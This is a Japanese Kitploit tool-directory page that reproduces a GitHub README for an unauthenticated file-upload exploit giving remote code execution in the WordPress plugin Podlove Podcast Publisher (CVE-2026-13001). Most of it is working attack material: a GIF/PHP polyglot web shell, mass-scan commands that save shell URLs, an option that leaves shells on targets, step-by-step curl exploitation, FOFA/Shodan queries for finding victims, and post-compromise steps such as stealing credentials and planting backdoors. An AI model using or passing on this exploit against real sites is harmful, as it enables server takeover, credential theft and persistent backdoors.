Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-13001 — Podlove Podcast Publisher の is_image() と extract_file_extension() の不一致による未認証ファイルアップロード RCE | CVSS 9.8 | Kitploit
ツール/GitHubGitHub/shinthink/cve-2026-13001
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubshinthink/cve-2026-13001

CVE-2026-13001

Podlove Podcast Publisher の is_image() と extract_file_extension() の不一致による未認証ファイルアップロード RCE | CVSS 9.8

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-13001 — Podlove Podcast Publisher の未認証ファイルアップロード RCE

is_image() と extract_file_extension() の不一致 → PHPポリグロットアップロード


概要

CVE-2026-13001 は、WordPressプラグイン Podlove Podcast Publisher バージョン ≤ 4.5.1 における重大度(CVSS 9.8)の 未認証 任意ファイルアップロード脆弱性です。

この脆弱性は、ファイル拡張子を異なる方法で解析する2つの内部関数の不一致を悪用します:

  • is_image() は クエリ文字列を含む basename() を使用 → URL shell.php?.gif は .gif と判定 ✅(有効な画像)
  • extract_file_extension() は parse_url() のパスのみを使用 → .php を返す → ファイルは .php 拡張子で保存 🚨

攻撃者は、画像検証を通過しながらアクセス時にPHPとして実行される GIF89a PHPポリグロット(有効なGIFヘッダー+埋め込みPHP)をアップロードします。

影響を受けるバージョン

バージョンステータス
≤ 4.5.1脆弱
4.5.2+修正済み

発見者: Talal Nasraddeen(Wordfence経由、2026年7月14日)


脆弱性の仕組み

根本原因

root@kitploit:~
// is_image() — uses basename() which includes query string
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
root@kitploit:~
// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php

攻撃フロー

root@kitploit:~
1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validates .gif extension → PASS
4. Plugin downloads file → saves as test_original.php in cache/
5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executes → RCE

インストール

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

使用方法

root@kitploit:~
# Single target
python cve_2026_13001.py -t target.com

# Mass scan
python cve_2026_13001.py -f targets.txt -o shells.txt

# Custom payload URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# Debug mode, leave shells
python cve_2026_13001.py -t target.com --debug --no-cleanup

引数

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --payload-url      URL hosting the PHP polyglot (default: GitHub raw)
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

概念実証(PoC)

単一ターゲット

root@kitploit:~
$ python cve_2026_13001.py -t podcast-site.com
root@kitploit:~
  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

一括スキャン

root@kitploit:~
  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

手動での悪用

ステップ1 — ポリグロットシェルをホストする

root@kitploit:~
// shell.php — save and host on your server
GIF89a<?php system($_GET['c']); ?>

ステップ2 — バイパス用にURLを16進エンコードする

root@kitploit:~
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

ステップ3 — キャッシュダウンロードをトリガーする

root@kitploit:~
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

ステップ4 — シェルにアクセスする

root@kitploit:~
# Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

root@kitploit:~
FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

影響

悪用に成功すると、Webサーバーユーザーとしてのリモートコード実行 が可能になります:

  • wp-config.php を取得 → データベース認証情報
  • WordPressのすべてのコンテンツ、ユーザー、プラグインデータにアクセス
  • 永続的なバックドアを展開
  • 内部ネットワークへの横展開

免責事項

教育および許可されたテスト目的専用です。

著者は誤用に対する一切の責任を負いません。


参考情報


Podlove とは提携していません。

ツールをダウンロード
リソースリンク
Wordfence アドバイザリwordfence.com
Podlove セキュリティリリースpodlove.org
NVD エントリCVE-2026-13001
Raimu0x19 による PoCGitHub
研究者Talal Nasraddeen